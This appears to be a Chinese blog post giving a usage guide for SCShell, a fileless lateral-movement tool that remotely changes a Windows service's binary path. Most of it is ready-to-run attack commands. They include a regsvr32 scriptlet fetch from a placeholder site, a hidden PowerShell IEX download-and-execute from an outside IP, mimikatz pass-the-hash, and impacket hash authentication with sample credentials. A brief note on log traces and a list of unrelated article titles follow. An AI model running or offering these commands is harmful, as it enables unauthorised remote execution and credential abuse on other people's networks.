1、简介

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。

2、使用

Windows 使用

    SCShell.exe target service payload domain username password
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password # XblAuthManager 是 Xbox Accessory Management Service的服务名

测试写入文件

scshell.exe 192.168.152.148 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\hello.txt" . administrator admin@123



CSshell横向利用powershell上线

scshell.exe 192.168.152.148 defragsvc "C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://182.1.1.156:8000/a')" . administrator admin@123

可以使用该C程序传递哈希值。

有时情况下,将使用当前进程令牌。您可以使用标准传递哈希方法设置当前流程令牌。

在本地系统上

sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

然后在新创建的cmd.exe中运行SCShell.exe进行横向。

上面我们使用的是XblAuthManager,其实我们还可以使用defragsvc,msbuild等等

2. Linux 安装使用

    pip install impacket
git clone https://github.com/Mr-Un1k0d3r/SCShell
cd https://github.com/Mr-Un1k0d3r/SCShell
python scshell.py ./administrator:cxzcxz@192.168.52.133 # 执行cmd模式,没有命令回显
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证

3、日志痕迹

使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息

最新文章

  1. Cordova开发速记
  2. Entity Framework Code First数据库连接
  3. 深入学习jQuery节点关系
  4. Java内存模型深度解析:锁--转
  5. Oozie coordinator 作业自定义的配置的一些方法
  6. Python之No module named setuptools 安装pip
  7. topcoder SRM 593 DIV2 WolfDelaymaster
  8. Windows10系统如何安装Microsoft Visual Studio 2015及最小子数组和求解
  9. 关于phpcmsv9更新缓存出现链接被重置的问题
  10. C++ STL之list容器的基本操作
  11. 5个让DBA爱上你的SQL技巧
  12. Asp.Net MVC 路由 【转】
  13. 【Java规划】DOM XML Parser分解、遍历、创XML
  14. 总结前端JQ常用的一些操作手法(慢慢完善)
  15. PHP-购物网站开发设计(一)
  16. 利用修改div的位置+js对象存储div信息 实现简单的div自定义布局功能
  17. nginx四层负载均衡配置
  18. 《HelloGitHub》第 18 期
  19. 原生js反转字符串
  20. LeetCode - 验证二叉搜索树

热门文章

  1. Java之定时任务全家桶
  2. ccpc2020长春站F题 Strange Memory
  3. Appium上下文和H5测试(一)
  4. Guitar Pro教程之理解记谱法
  5. H5系列之contenteditable
  6. Linux三剑客grep、awk、sed
  7. laradock使用问题汇总
  8. 如何解析 redis 的 rdb 文件
  9. Springboot整合WebSocket实现网页版聊天,快来围观!
  10. Event Loop - 事件队列